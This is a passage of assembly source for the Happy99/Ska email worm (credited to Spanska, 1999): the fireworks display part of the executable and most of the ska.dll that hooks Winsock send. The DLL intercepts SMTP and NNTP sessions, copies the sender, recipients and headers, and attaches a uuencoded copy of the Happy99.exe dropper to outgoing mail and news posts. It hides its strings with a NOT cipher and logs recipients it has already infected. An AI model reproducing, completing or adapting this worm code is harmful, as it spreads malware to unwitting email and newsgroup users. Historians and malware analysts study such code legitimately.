  1000. mov ecx, 16*256
  1001. mov esi, writebuffer
  1002.  
  1003. zozo2:
  1004. push ecx
  1005. push esi
  1006. pop edi
  1007. add edi, 20
  1008. mov eax, dword ptr [esi+8]
  1009. stosd
  1010. mov eax, dword ptr [esi+12]
  1011. stosd
  1012.  
  1013. add dword ptr [esi], 001000h
  1014. lodsd
  1015. add dword ptr [esi+4], eax
  1016. lodsd
  1017. add dword ptr [esi+4], eax
  1018.  
  1019. lodsd
  1020. sar eax, 16
  1021. mov edx, eax
  1022. lodsd
  1023. sar eax, 16
  1024. mov ebx, eax
  1025.  
  1026. lodsd
  1027. cmp eax, 0
  1028. jne point_pas_noir
  1029. add esi, 8
  1030. jmp fin_loop
  1031.  
  1032. point_pas_noir:
  1033. sub byte ptr [esi-4], 1
  1034. jnc R_pas_a_zero
  1035. mov byte ptr [esi-4], 0
  1036. R_pas_a_zero:
  1037. sub byte ptr [esi-3], 1
  1038. jnc G_pas_a_zero
  1039. mov byte ptr [esi-3], 0
  1040. G_pas_a_zero:
  1041. sub byte ptr [esi-2], 1
  1042. jnc B_pas_a_zero
  1043. mov byte ptr [esi-2], 0
  1044. B_pas_a_zero:
  1045.  
  1046. push esi
  1047.  
  1048. push eax        ;colorref
  1049. push edx        ;y
  1050. push ebx        ;x
  1051. push theDC      ;the Device Context
  1052. call SetPixelV      ;quand la fenetre est repeinte, on met le pixel � sa coordonn�e
  1053.  
  1054. pop esi
  1055.  
  1056. lodsd
  1057. sar eax, 16
  1058. mov edx, eax
  1059. lodsd
  1060. sar eax, 16
  1061.  
  1062. push esi
  1063.  
  1064. push 0
  1065. push edx
  1066. push eax
  1067. push theDC
  1068. call SetPixelV
  1069.  
  1070. pop esi
  1071.  
  1072. fin_loop:
  1073. add esi, 4
  1074.  
  1075. pop ecx
  1076. dec ecx
  1077. jnz zozo2
  1078.  
  1079. inc compteur
  1080.  
  1081. jmp msg_loop
  1082.  
  1083. ;----- pour voir si la fenetre est ferm�e
  1084.  
  1085. process_messages:
  1086.  
  1087. cmp msMESSAGE, 12h  ;WM_QUIT equ 0012h
  1088. je end_loop
  1089.  
  1090. mov eax, offset msg
  1091. push eax
  1092. push eax
  1093. call TranslateMessage
  1094. call DispatchMessageA
  1095. jmp msg_loop
  1096.  
  1097. end_loop:
  1098.  
  1099. push theDC
  1100. push handle_wd
  1101. call ReleaseDC
  1102.  
  1103. mov pas_d_effet_graphique, -1
  1104.  
  1105. jmp stop2
  1106.  
  1107. ;----- proc�dure de fen�tre vide pour acc�l�rer
  1108.  
  1109. wndproc:
  1110.  
  1111. pop eax
  1112. mov adresse_retour, eax
  1113. cmp dword ptr [esp+4], 2
  1114. jne suite_prout
  1115.  
  1116. push 0
  1117. call PostQuitMessage
  1118. xor eax, eax
  1119. jmp suite2
  1120.  
  1121. suite_prout:
  1122. call DefWindowProcA
  1123.  
  1124. suite2:
  1125. mov ecx, adresse_retour
  1126. push ecx
  1127.  
  1128. ret
  1129.  
  1130. ;----- proc�dure pour initialiser une explosion
  1131.  
  1132. ini_explosion:
  1133.  
  1134. mov eax, nb_explosions
  1135. and eax, nombre_explosion_maxi-1
  1136. mov nb_explosions, eax
  1137. shl eax, 13
  1138. mov edi, writebuffer
  1139. add edi, eax
  1140. mov ecx, 256
  1141.  
  1142. call random
  1143. shr eax, 8
  1144. mov xx, eax
  1145. call random
  1146. shr eax, 8
  1147. mov yy, eax
  1148. call random
  1149. shr eax, 8
  1150. or eax, 0AF0F0Fh
  1151. mov ebx, eax
  1152.  
  1153. zozo:
  1154. call random
  1155. shr eax, 15
  1156. mov [edi], eax
  1157.  
  1158. mov [edi+4], ecx
  1159. fild dword ptr [edi+4]      ;slow but good for size
  1160. fsin
  1161. fimul dword ptr [edi]
  1162. fild dword ptr [edi+4]
  1163. fcos
  1164. fimul dword ptr [edi]
  1165. fistp dword ptr [edi]
  1166. fistp dword ptr [edi+4]
  1167.  
  1168. add edi, 8
  1169.  
  1170. mov eax, yy
  1171. stosd
  1172. mov eax, xx
  1173. stosd
  1174.  
  1175. mov eax, ebx
  1176. stosd
  1177.  
  1178. add edi, 12
  1179. loop zozo
  1180.  
  1181. inc nb_explosions
  1182. jmp la_suite@
  1183.  
  1184. ;----- random
  1185.  
  1186. random:
  1187.  
  1188. mov eax, 214013h
  1189. imul seed
  1190. sub edx, edx                ; Prevent divide overflow by caller
  1191. add eax, 2531011h
  1192. mov seed, eax
  1193. ret
  1194.  
  1195. end     HOST
  1196.  
  1197. ;--------------------------- (c) Spanska 1999 ---------------------------------
  1198. ������������������������������������������������������[Happy99_ska_exe.asm]���
  1199. ������������������������������������������������������[Happy99_ska_dll.asm]���
  1200. ;ska.dll
  1201. ;if you want to understand comments, learn french or use Altavista ;)
  1202. ;at the very end, you can post a message for me in alt.comp.virus
  1203. ;look at the readme.rtf with WordPad for some explanations
  1204.  
  1205. ;--------------------------- (c) Spanska 1999 ---------------------------------
  1206.  
  1207. .386
  1208. .model flat
  1209.  
  1210. ;*******************************************************************************************
  1211. ;***                               API WINDOWS UTILISEES                                 ***
  1212. ;*******************************************************************************************
  1213.  
  1214. extrn       recv            :PROC
  1215. extrn       WSAGetLastError     :PROC
  1216. extrn       LocalAlloc      :PROC
  1217. extrn       LocalFree       :PROC
  1218. extrn       GetSystemDirectoryA :PROC
  1219. extrn       CreateFileA     :PROC
  1220. extrn       CreateFileMappingA  :PROC
  1221. extrn       MapViewOfFile       :PROC
  1222. extrn       UnmapViewOfFile     :PROC
  1223. extrn       GetFileSize     :PROC
  1224. extrn       CloseHandle     :PROC
  1225. extrn       WriteFile       :PROC
  1226. extrn       ReadFile        :PROC
  1227. extrn       SetFilePointer      :PROC
  1228.  
  1229. .data
  1230.  
  1231. ;*******************************************************************************************
  1232. ;***                                  ZONE DE DONNEES                                    ***
  1233. ;*******************************************************************************************
  1234.  
  1235. ;======================== commandes pour les serveurs ======================================
  1236.  
  1237. smtp_sender_size    dd ?
  1238. smtp_recipient_size dd ?
  1239.  
  1240. smtp_rset       db "RSET",0Dh,0Ah
  1241. size_smtp_rset      equ $-offset smtp_rset
  1242.  
  1243. smtp_data       db "DATA",0Dh,0Ah
  1244. size_smtp_data      equ $-offset smtp_data
  1245.  
  1246. nntp_post       db "POST",0Dh,0Ah
  1247. size_nntp_post      equ $-offset nntp_post
  1248.  
  1249. point           db 0Dh,0Ah,2Eh,0Dh,0Ah      ;"."
  1250. size_point      equ $-offset point
  1251.  
  1252. ;========================= donn�es pour le uucodage ========================================
  1253.  
  1254. filemappinghandle   dd ?
  1255. startoffilemapping  dd ?
  1256. sizeofmappedfile    dd ?
  1257. nb_45           dd ?
  1258. reste_45        db ?
  1259. nb_1000         dd ?
  1260. reste_1000      dd ?
  1261. size_uu_file        dd ?
  1262.  
  1263. debut           db not 0Dh, not 0Ah     ;db 0Dh,0Ah,"begin 644
  1264.             dd not "igeb"           ;Happy99.exe",0Dh,0Ah
  1265.             dd not "46 n"
  1266.             dd not "aH 4"
  1267.             dd not "9ypp"
  1268.             dd not "xe.9"
  1269.             db not "e"
  1270.             db not 0Dh, not 0Ah
  1271. size_debut      equ $-offset debut
  1272.  
  1273. fin         db not 60h          ;db 60h, 0Dh,0Ah,"end",0Dh,0Ah
  1274.             db not 0Dh, not 0Ah
  1275.             db not "e", not "n", not "d"
  1276.             db not 0Dh, not 0Ah
  1277. size_fin        equ $-offset fin
  1278.  
  1279. ;============================== mes fichiers ===============================================
  1280.  
  1281. dropper_name        dd not "akS\"           ;db "\Ska.exe",0
  1282.             dd not "exe."
  1283.             db not 0
  1284. dropper_name_size   equ $-offset dropper_name
  1285.  
  1286. liste_name      dd not "sil\"           ;db "\liste.ska",0
  1287.             dd not "s.et"
  1288.             dw not "ak"
  1289.             db not 0
  1290. liste_name_size     equ $-offset liste_name
  1291.  
  1292. dropper_handle      dd ?
  1293. liste_handle        dd ?
  1294. liste_size      dd ?
  1295. system_dir_size     dd ?
  1296.  
  1297. ;=================================== divers =================================================
  1298.  
  1299. size_headers        dd ?
  1300. offset_mem_buffer   dd ?
  1301. original_send       dd ?
  1302. no_socket       dd ?
  1303. nb_rcpt         dd 0
  1304. faut_pas_envoyer_mail   dd 0
  1305.  
  1306. offset_mem_buffer2_headers  dd ?        ;mem_buffer2
  1307. offset_mem_buffer2_recipient    dd ?        ;mem_buffer2 + 3000 ;ne pas s�parer
  1308. offset_mem_buffer2_sender   dd ?        ;mem_buffer2 + 6000
  1309. offset_mem_buffer2_rcv      dd ?        ;mem_buffer2 + 7000
  1310. offset_mem_buffer2_system_dir   dd ?        ;mem_buffer2 + 7100
  1311.  
  1312. .code
  1313.  
  1314. dll:
  1315.  
  1316. ;*******************************************************************************************
  1317. ;***                      ROUTINES D'INITIALISATION DE LA DLL                            ***
  1318. ;*******************************************************************************************
  1319.  
  1320. PUBLIC dllini
  1321. dllini proc
  1322.  
  1323. ;------- Proc�dure de chargement ou de d�chargement ?
  1324.  
  1325. cmp dword ptr [esp+8], 0    ;1=DLL_PROCESS_DETACH ds la proc DllEntryPoint
  1326. je dechargement_dll
  1327.  
  1328. cmp dword ptr [esp+8], 1    ;1=DLL_PROCESS_ATTACH ds la proc DllEntryPoint
  1329. je chargement_dll       ;pas 1, teste 0
  1330.  
  1331. jmp end_ini_proc
  1332.  
  1333. ;------ Cette routine est appel�e � chaque chargement de la DLL
  1334.  
  1335. chargement_dll:
  1336.  
  1337. ;----- d�crypter les datas
  1338.  
  1339. mov esi, offset debut
  1340. push esi
  1341. pop edi
  1342. mov ecx, offset dropper_handle - offset debut
  1343. decrypte:
  1344. lodsb
  1345. not al
  1346. stosb
  1347. loop decrypte
  1348.  
  1349. ;------- se r�server 5 Ko de m�moire pour headers/rcpt si ce n'est pas deja fait
  1350.  
  1351. push 8*1024
  1352. push 40h
  1353. call LocalAlloc
  1354. test eax, eax
  1355. jnz ca_baigne
  1356. xor eax, eax
  1357. jmp end_ini_proc_with_problem
  1358.  
  1359. ca_baigne:
  1360. mov edi, offset offset_mem_buffer2_headers
  1361. stosd
  1362. add eax, 3000
  1363. stosd
  1364. add eax, 3000
  1365. stosd
  1366. add eax, 1000
  1367. stosd
  1368. add eax, 100
  1369. stosd
  1370.  
  1371. jmp end_ini_proc
  1372.  
  1373. ;------ Cette routine est appel�e � chaque d�chargement de la DLL
  1374.  
  1375. dechargement_dll:
  1376.  
  1377. push offset_mem_buffer2_headers         ;le petit tampon interm�diaire
  1378. call LocalFree
  1379.  
  1380. end_ini_proc:
  1381. mov eax, 1
  1382. end_ini_proc_with_problem:
  1383. ret 12
  1384. dllini ENDP
  1385.  
  1386. ;*******************************************************************************************
  1387. ;***                                ROUTINE SEND MAIL                                    ***
  1388. ;*******************************************************************************************
  1389.  
  1390. PUBLIC mail
  1391. mail proc
  1392.  
  1393. ;----localise les donn�es de la commande send
  1394.  
  1395. call recuperer_offset_et_taille_envoi       ;nique ebx, ecx, retourne ebx, ecx
  1396.  
  1397. ;----- voir si ce qui est envoy� est une commande au serveur ou le corps d'un message
  1398.  
  1399. cmp ecx, 100
  1400. ja c_pas_une_commande_au_serveur
  1401.  
  1402. ;==================== analyser la commande au serveur ==============================
  1403.  
  1404. ;----- c'est une commande au serveur: r�cup�rer des infos
  1405.  
  1406. mov eax, [ebx]
  1407. and eax, 0DFDFDFDFh
  1408. cmp eax, "LIAM"
  1409. jne c_pas_from
  1410. mov eax, [ebx+4]
  1411. and eax, 0DFDFDFFFh
  1412. cmp eax, "ORF "
  1413. jne c_pas_from
  1414. mov ax, word ptr [ebx+8]
  1415. and ax, 0FFDFh
  1416. cmp ax, ":M"
  1417. jne c_pas_from
  1418.  
  1419. ;---- si c'est la commande "from", on r�cup�re l'envoyeur et sa taille
  1420.  
  1421. mov esi, ebx
  1422. ;mov edi, offset smtp_sender
  1423.     mov edi, offset_mem_buffer2_sender
  1424. mov smtp_sender_size, ecx
  1425. rep movsb
  1426.  
  1427. jmp fin_routine_mail_sans_dechargement
  1428.  
  1429. ;----analyse les donn�es de la commande send
  1430.  
  1431. c_pas_from:
  1432. mov eax, [ebx]
  1433. and eax, 0DFDFDFDFh
  1434. cmp eax, "TPCR"
  1435. jne c_pas_to
  1436. mov eax, [ebx+4]
  1437. and eax, 0FFDFDFFFh
  1438. cmp eax, ":OT "
  1439. jne c_pas_to
  1440.  
  1441. ;---- si c'est la commande "to", on stocke ce rcpt
  1442.  
  1443. call stocke_le_rcpt
  1444.  
  1445. ;---- on v�rifie que ce destinataire n'a pas d�j� recu le dropper
  1446.  
  1447. mov smtp_recipient_size, ecx
  1448. call verifie_destinataire       ;nique eax, retour eax=-1 si faut pas envoyer, 0 sinon
  1449. cmp eax, 0
  1450. je fin_routine_mail_sans_dechargement
  1451.  
  1452. ;----- deja recu: on annule tout
  1453.  
  1454. mov faut_pas_envoyer_mail, -1
  1455. jmp fin_routine_mail_sans_dechargement_mais_vidage_des_rcpt
  1456.  
  1457. ;----- fin d'analyse des commandes
  1458.  
  1459. c_pas_to:
  1460. jmp fin_routine_mail_sans_dechargement
  1461.  
  1462. ;================= ce n'est pas une commande, mais un gros send ==========================
  1463.  
  1464. c_pas_une_commande_au_serveur:
  1465.  
  1466. ;------ r�cup�rer les headers
  1467.  
  1468. call recupere_headers               ;nique eax, retour eax=-1 si couille, 0 si OK
  1469. cmp eax, 0
  1470. jne fin_routine_mail_sans_dechargement
  1471.  
  1472. ;------ verifier s'il y a des rcpt
  1473.  
  1474. mov esi, offset_mem_buffer2_recipient
  1475. lodsw
  1476. cmp ax, 00
  1477. je fin_routine_mail_sans_dechargement
  1478.  
  1479. ;------ verifier s'il faut envoyer
  1480.  
  1481. cmp faut_pas_envoyer_mail, 0
  1482. jne oh_puis_merde
  1483.  
  1484. ;======================= tout est OK, on envoit le mat�riel ================================
  1485.  
  1486. call recuperer_socket_et_original_send      ;nique ebx, eax, renvoie en m�moire
  1487.  
  1488. ;-------- 1/ envoyer les headers du message
  1489.  
  1490. mov eax, size_headers
  1491. mov ebx, offset_mem_buffer2_headers         ;HEADER
  1492. call envoie
  1493. cmp eax, -1
  1494. je fin_routine_mail_avec_dechargement
  1495.  
  1496. call uucode_et_envoie
  1497.  
  1498. ;-------- 2/ envoyer le point final
  1499.  
  1500. mov eax, size_point
  1501. mov ebx, offset point                   ;"."
  1502. call envoie
  1503. cmp eax, -1
  1504. je fin_routine_mail_avec_dechargement
  1505.  
  1506. call recoit
  1507. cmp eax, " 052"
  1508. jne fin_routine_mail_avec_dechargement
  1509.  
  1510. ;-------- 3/ envoyer la commande "reset"
  1511.  
  1512. mov eax, size_smtp_rset
  1513. mov ebx, offset smtp_rset               ;RSET
  1514. call envoie
  1515. cmp eax, -1
  1516. je fin_routine_mail_avec_dechargement
  1517.  
  1518. call recoit
  1519. cmp eax, " 052"
  1520. jne fin_routine_mail_avec_dechargement
  1521.  
  1522. ;-------- 4/ envoyer from
  1523.  
  1524. mov eax, smtp_sender_size
  1525. mov ebx, offset_mem_buffer2_sender          ;MAIL FROM:
  1526. call envoie
  1527. cmp eax, -1
  1528. je fin_routine_mail_avec_dechargement
  1529.  
  1530. call recoit
  1531. cmp eax, " 052"
  1532. jne fin_routine_mail_avec_dechargement
  1533.  
  1534. ;-------- 5/ envoyer autant de rcpt qu'il faut
  1535.  
  1536. mov esi, offset_mem_buffer2_recipient
  1537. mov edx, offset_mem_buffer2_sender          ;limite haute
  1538. sub edx, 50
  1539.  
  1540. cherche_rcpt:
  1541. xor ecx, ecx
  1542. mov ebp, esi
  1543.  
  1544. cherche_fin_rcpt:
  1545. lodsb
  1546. inc ecx
  1547. cmp esi, edx
  1548. ja fin_routine_mail_avec_dechargement
  1549. cmp al, 0
  1550. je envoyer_data
  1551. cmp al, 0Ah
  1552. jne cherche_fin_rcpt
  1553.  
  1554. mov eax, ecx
  1555. mov ebx, ebp                        ;RCPT
  1556. call envoie
  1557. cmp eax, -1
  1558. je fin_routine_mail_avec_dechargement
  1559. call recoit
  1560. cmp eax, " 052"
  1561. jne fin_routine_mail_avec_dechargement
  1562.  
  1563. jmp cherche_rcpt
  1564.  
  1565. ;-------- 6/ envoyer data
  1566.  
  1567. envoyer_data:
  1568. mov eax, size_smtp_data
  1569. mov ebx, offset smtp_data           ;DATA
  1570. call envoie
  1571. cmp eax, -1
  1572. je fin_routine_mail_avec_dechargement
  1573.  
  1574. call recoit
  1575. cmp eax, " 453"
  1576. jne fin_routine_mail_avec_dechargement
  1577.  
  1578. ;========================== fin de la routine ==================================
  1579.  
  1580. oh_puis_merde:
  1581. mov faut_pas_envoyer_mail, 0
  1582.  
  1583. fin_routine_mail_sans_dechargement_mais_vidage_des_rcpt:
  1584. mov edi, offset_mem_buffer2_recipient       ;annuler les rcpt en memoire
  1585. xor eax, eax
  1586. stosd
  1587.  
  1588. fin_routine_mail_sans_dechargement:
  1589. mov eax, 1              ;retour sans d�chargement de ma dll
  1590. ret
  1591.  
  1592. fin_routine_mail_avec_dechargement:
  1593.  
  1594. mov eax, "MMMM"         ;retour avec d�chargement de ma dll
  1595. ret
  1596.  
  1597. mail endp
  1598.  
  1599. ;*******************************************************************************************
  1600. ;***                                ROUTINE SEND NEWS                                    ***
  1601. ;*******************************************************************************************
  1602.  
  1603. PUBLIC news
  1604. news proc
  1605.  
  1606. ;----analyse les donn�es de la commande send
  1607.  
  1608. call recuperer_offset_et_taille_envoi       ;nique ebx, ecx, retourne ebx, ecx
  1609.  
  1610. ;----- voir si ce qui est envoy� est une commande au serveur ou le corps d'un message
  1611.  
  1612. cmp ecx, 100
  1613. jb fin_routine_news_sans_dechargement
  1614.  
  1615. ;================== ce n'est pas une commande, mais un gros send ===========================
  1616.  
  1617. call recupere_headers           ;nique eax, retour eax=-1 si couille, 0 si OK
  1618.  
  1619. cmp eax, 0
  1620. jne fin_routine_news_sans_dechargement
  1621.  
  1622. call recuperer_socket_et_original_send  ;nique abx, eax, renvoie en m�moire
  1623.  
  1624. ;-------- 1/ envoyer les headers du message
  1625.  
  1626. mov eax, size_headers
  1627. mov ebx, offset_mem_buffer2_headers         ;HEADER
  1628. call envoie
  1629. cmp eax, -1
  1630. je fin_routine_news_avec_dechargement
  1631.  
  1632. call uucode_et_envoie
  1633.  
  1634. ;-------- 2/ envoyer le point final
  1635.  
  1636. mov eax, size_point
  1637. mov ebx, offset point                   ;"."
  1638. call envoie
  1639. cmp eax, -1
  1640. je fin_routine_news_avec_dechargement
  1641.  
  1642. call recoit
  1643. cmp eax, " 042"
  1644. jne fin_routine_news_avec_dechargement
  1645.  
  1646. ;-------- 3/ envoyer la commande "POST"
  1647.  
  1648. mov eax, size_nntp_post
  1649. mov ebx, offset nntp_post               ;POST
  1650. call envoie
  1651. cmp eax, -1
  1652. je fin_routine_news_avec_dechargement
  1653.  
  1654. call recoit
  1655. cmp eax, " 043"
  1656. jne fin_routine_news_avec_dechargement
  1657.  
  1658. ;========================== fin de la routine ==================================
  1659.  
  1660. fin_routine_news_sans_dechargement:
  1661. mov eax, 1              ;retour sans d�chargement de ma dll
  1662. ret
  1663.  
  1664. fin_routine_news_avec_dechargement:
  1665. mov eax, "NNNN"             ;retour avec d�chargement de ma dll
  1666. ret
  1667.  
  1668. news endp
  1669.  
  1670. ;*******************************************************************************************
  1671. ;***               VERIFIE SI LE DESTINATAIRE A DEJA RECU LE DROPPER                     ***
  1672. ;*******************************************************************************************
  1673.  
  1674. verifie_destinataire:
  1675. pushad
  1676. mov ebp, ebx
  1677.  
  1678. push 100
  1679. push offset_mem_buffer2_system_dir
  1680. call GetSystemDirectoryA        ;g�n�ralement C:\WINDOWS\SYSTEM
  1681. test eax, eax
  1682. jz stop_verifie_destinataire
  1683. mov system_dir_size, eax
  1684.  
  1685. mov esi, offset liste_name      ;concatenate "c:\windows\" and "list.ska"
  1686. mov edi, offset_mem_buffer2_system_dir
  1687. add edi, system_dir_size
  1688. mov ecx, liste_name_size
  1689. rep movsb
  1690.  
  1691. push 0                  ;handle of file with attributes to copy (0=Ludwig)
  1692. push 80h                ;file attributes (80h=FILE_ATTRIBUTE_NORMAL)
  1693. push 4                  ;how to create (4=OPEN_ALWAYS)
  1694. push 0                  ;address of security descriptor (0=Ludwig)
  1695. push 0                  ;share mode (0=Prevents the file from being shared)
  1696. push 0C0000000h             ;access (read-write) mode (080000000h=GENERIC_READ)
  1697. push offset_mem_buffer2_system_dir  ;address of name of the file
  1698. call CreateFileA
  1699. inc eax
  1700. jz stop_verifie_destinataire
  1701. dec eax
  1702. mov liste_handle, eax
  1703.  
  1704. push 5*1024+50
  1705. push 40h
  1706. call LocalAlloc
  1707. test eax, eax
  1708. jz close_file
  1709. mov offset_mem_buffer, eax
  1710.  
  1711. lit_le_fichier:
  1712. push 0
  1713. push offset liste_size
  1714. push (5*1024)
  1715. push offset_mem_buffer
  1716. push liste_handle
  1717. call ReadFile
  1718. test eax, eax
  1719. jz stop_verifie_destinataire
  1720.  
  1721. cmp liste_size, 5*1024      ;si le fichier est plus gros que 5 Ko
  1722. jb compare_names
  1723.  
  1724. push liste_handle
  1725. call CloseHandle
  1726.  
  1727. push 0
  1728. push 80h        ;on le remet � zero
  1729. push 2          ;how to create (2=CREATE_ALWAYS)
  1730. push 0
  1731. push 0
  1732. push 0C0000000h
  1733. push offset_mem_buffer2_system_dir
  1734. call CreateFileA
  1735. inc eax
  1736. jz stop_verifie_destinataire
  1737. dec eax
  1738. mov liste_handle, eax
  1739. jmp lit_le_fichier
  1740.  
  1741. compare_names:
  1742.  
  1743.     mov esi, ebp
  1744. add esi, 8
  1745. lodsd
  1746. mov ebx, eax
  1747. lodsd
  1748. mov edx, eax
  1749.  
  1750. mov esi, offset_mem_buffer      ;esi=memoire
  1751. mov ecx, esi
  1752. add ecx, liste_size         ;ecx=limite haute memoire
  1753.  
  1754. compare_8_premiers_cara:
  1755. lodsd
  1756. cmp eax, ebx
  1757. je teste_4_8
  1758. jmp cherche_0D0A_suivant
  1759. teste_4_8:
  1760. lodsd
  1761. cmp eax, edx
  1762. je il_a_deja_recu_le_dropper
  1763.  
  1764. sub esi, 4
  1765. cherche_0D0A_suivant:
  1766. sub esi, 3
  1767. cherche_0D0A:
  1768. lodsw
  1769. cmp esi, ecx
  1770. jae pas_dans_la_liste
  1771. cmp ax, 0A0Dh
  1772. je compare_8_premiers_cara
  1773. dec esi
  1774. jmp cherche_0D0A
  1775.  
  1776. pas_dans_la_liste:
  1777.  
  1778. mov edi, esi
  1779.     mov esi, ebp
  1780. add esi, 8
  1781. mov ecx, smtp_recipient_size
  1782. sub ecx, 8
  1783. push ecx
  1784. push edi
  1785. rep movsb
  1786. mov ax, 0A0Dh
  1787. stosw
  1788. pop edi
  1789. pop ecx
  1790.  
  1791. push 0              ;addr. of structure needed for overlapped I/O (0 pour normale)
  1792. push offset liste_size      ;address of nb of bytes written (si jamais tout n'est pas �crit)
  1793. push ecx            ;number of bytes to write
  1794. push edi            ;address of data to write to file
  1795. push liste_handle       ;handle of file to write to
  1796. call WriteFile
  1797. jmp close_mem_and_file      ;test eax inutile
  1798.  
  1799. il_a_deja_recu_le_dropper:
  1800. push offset_mem_buffer
  1801. call LocalFree
  1802. push liste_handle
  1803. call CloseHandle
  1804. popad
  1805. mov eax, -1         ;retour avec eax=-1 si faut pas envoyer
  1806. ret
  1807.  
  1808. close_mem_and_file:
  1809. push offset_mem_buffer
  1810. call LocalFree
  1811.  
  1812. close_file:
  1813. push liste_handle
  1814. call CloseHandle
  1815.  
  1816. stop_verifie_destinataire:  ;s'il y a le moindre probleme, on envoie quand m�me
  1817. popad
  1818. xor eax, eax            ;retour avec eax=0 si c OK
  1819. ret
  1820.  
  1821. ;*******************************************************************************************
  1822. ;***                      RECUPERE LES HEADERS (MAIL OU NEWS)                            ***
  1823. ;*******************************************************************************************
  1824.  
  1825. recupere_headers:
  1826. pushad
  1827.  
  1828. mov esi, ebx
  1829. mov edi, esi
  1830. add edi, ecx
  1831. mov ecx, edi
  1832. add ecx, 100        ;?
  1833. xor edx, edx
  1834.  
  1835. analyse:
  1836.  
  1837. mov bx, word ptr [esi]
  1838. and bx, 0DFDFh              ;fous-moi ce bordel en majuscules
  1839. mov ebp, esi
  1840.  
  1841. cmp bx, "RF"                ;maybe From:
  1842. je maybe_find_from
  1843. fausse_alerte_a1:
  1844. mov esi, ebp
  1845. cmp bx, "US"                ;maybe Subject:
  1846. je maybe_find_subject
  1847. fausse_alerte_a2:
  1848. mov esi, ebp
  1849. cmp bx, "EN"                ;maybe Newsgroups:
  1850. je maybe_find_newsgroups
  1851. fausse_alerte_a3:
  1852. mov esi, ebp
  1853. cmp bx, "CC"                ;maybe CC:
  1854. je maybe_find_cc
  1855. fausse_alerte_a4:
  1856. mov esi, ebp
  1857. cmp bx, "CB"                ;maybe BCC:
  1858. je maybe_find_bcc
  1859. fausse_alerte_a5:
  1860. mov esi, ebp
  1861. cmp bx, 0A0Dh               ;maybe end of headers
  1862. je maybe_end_headers
  1863. fausse_alerte_a6:
  1864. mov esi, ebp
  1865. inc esi
  1866. cmp esi, ecx
  1867. jae stop_analyse_headers        ;in case of header end or
  1868. jmp analyse
  1869.  
  1870. maybe_find_from:            ;From:
  1871. lodsw
  1872. lodsd
  1873. and eax, 0FFFFDFDFh
  1874. cmp eax, " :MO"
  1875. jne fausse_alerte_a1
  1876. call recupere_un_champ
  1877. jmp analyse
  1878.  
  1879. maybe_find_subject:         ;Subject:
  1880. lodsw
  1881. lodsd
  1882. and eax, 0DFDFDFDFh
  1883. cmp eax, "CEJB"
  1884. jne fausse_alerte_a2
  1885. lodsd
  1886. and eax, 0FFFFDFh
  1887. cmp eax, 0+" :T"
  1888. jne fausse_alerte_a2
  1889. call recupere_un_champ
  1890. jmp analyse
  1891.  
  1892. maybe_find_newsgroups:          ;Newsgroups:
  1893. lodsw
  1894. lodsd
  1895. and eax, 0DFDFDFDFh
  1896. cmp eax, "RGSW"
  1897. jne fausse_alerte_a3
  1898. lodsd
  1899. and eax, 0DFDFDFDFh
  1900. cmp eax, "SPUO"
  1901. jne fausse_alerte_a3
  1902. lodsw
  1903. cmp ax, " :"
  1904. jne fausse_alerte_a3
  1905. call recupere_un_champ
  1906. jmp analyse
  1907.  
  1908. maybe_find_cc:              ;CC:
  1909. lodsw
  1910. lodsd
  1911. and eax, 0FFFFh
  1912. cmp eax, 0+0+" :"
  1913. jne fausse_alerte_a4
  1914. call recupere_un_champ
  1915. jmp analyse
  1916.  
  1917. maybe_find_bcc:             ;BCC:
  1918. lodsw
  1919. lodsd
  1920. and eax, 0FFFFDFh
  1921. cmp eax, 0+" :C"
  1922. jne fausse_alerte_a5
  1923. call recupere_un_champ
  1924. jmp analyse
  1925.  
  1926. maybe_end_headers:          ;end of headers
  1927. lodsd
  1928. cmp eax, 0A0D0A0Dh
  1929. jne fausse_alerte_a6
  1930. push eax
  1931.  
  1932. ;----rajoute mon petit champ dans le header
  1933.  
  1934. mov eax, "pS-X"         ;"X-Spanska: Yes" to allow easy filtering :)
  1935. stosd
  1936. mov eax, "ksna"
  1937. stosd
  1938. mov eax, "Y :a"
  1939. stosd
  1940. mov ax, "se"
  1941. stosw
  1942. add edx, 14
  1943.  
  1944. pop eax
  1945. stosd
  1946. inc edx
  1947. inc edx
  1948.  
  1949. mov size_headers, edx           ;in case of OK
  1950. popad
  1951. xor eax, eax
  1952. ret
  1953.  
  1954. stop_analyse_headers:           ;in case of error
  1955.  
  1956. popad
  1957. mov eax, -1
  1958. ret
  1959.  
  1960. recupere_un_champ:
  1961. mov esi, ebp
  1962. mov edi, offset_mem_buffer2_headers
  1963. add edi, edx
  1964. recopie:
  1965. lodsb
  1966. stosb
  1967. inc edx
  1968. cmp edx, 2950
  1969. ja stop_recupere_un_champ
  1970. cmp al, 0Ah
  1971. jne recopie
  1972. stop_recupere_un_champ:
  1973. ret
  1974.  
  1975. ;*******************************************************************************************
  1976. ;***                                  ENVOIE                                             ***
  1977. ;*******************************************************************************************
  1978.  
  1979. envoie:
  1980. mov ebp, eax
  1981.  
  1982. envoie2:
  1983. push LARGE 0
  1984. push eax
  1985. push ebx
  1986. push LARGE no_socket
  1987. call [original_send]
  1988.  
  1989. cmp eax, -1
  1990. jne envoi_ok
  1991.  
  1992. call WSAGetLastError
  1993. cmp eax, 10035
  1994. jne stop_envoi
  1995. mov eax, ebp
  1996. jmp envoie2
  1997.  
  1998. stop_envoi:
  1999. mov eax, -1
  2000. envoi_ok:
  2001. ret
  2002.  
  2003. ;*******************************************************************************************
  2004. ;***               RECUPERE TAILLE ET CONTENU DE L'ENVOI EN COURS                        ***
  2005. ;*******************************************************************************************
  2006.  
  2007. recuperer_offset_et_taille_envoi:
  2008.  
  2009. mov ebx, [esp+32+(5*4)] ;offset du contenu envoy�
  2010. mov ecx, [esp+32+(6*4)] ;taille du contenu
  2011. ret
  2012.  
  2013. ;*******************************************************************************************
  2014. ;***               RECUPERE No SOCKET ET OFFSET DU SEND ORIGINAL                         ***
  2015. ;*******************************************************************************************
  2016.  
  2017. recuperer_socket_et_original_send:
  2018.  
  2019. ;----- r�cup�rer no de socket
  2020.  
  2021. mov ebx, [esp+32+(4*4)] ;no de socket
  2022. mov no_socket, ebx
  2023.  
  2024. ;----- r�cup�rer le saut au send original
  2025.  
  2026. pop eax
  2027. pop ebx
  2028. push ebx
  2029. push eax
  2030. add ebx, 34+25      ;ATTENTION!! d�pend du dropper!!!!!!!!!!!!!
  2031.  
  2032. mov eax, [ebx]      ;recup du saut relatif depuis la fin du patch jusqu'au send original
  2033. add ebx, eax
  2034. add ebx, 4
  2035. mov original_send, ebx
  2036. ret
  2037.  
  2038. ;*******************************************************************************************
  2039. ;***                         UUCODE ET ENVOIE LE DROPPER                                 ***
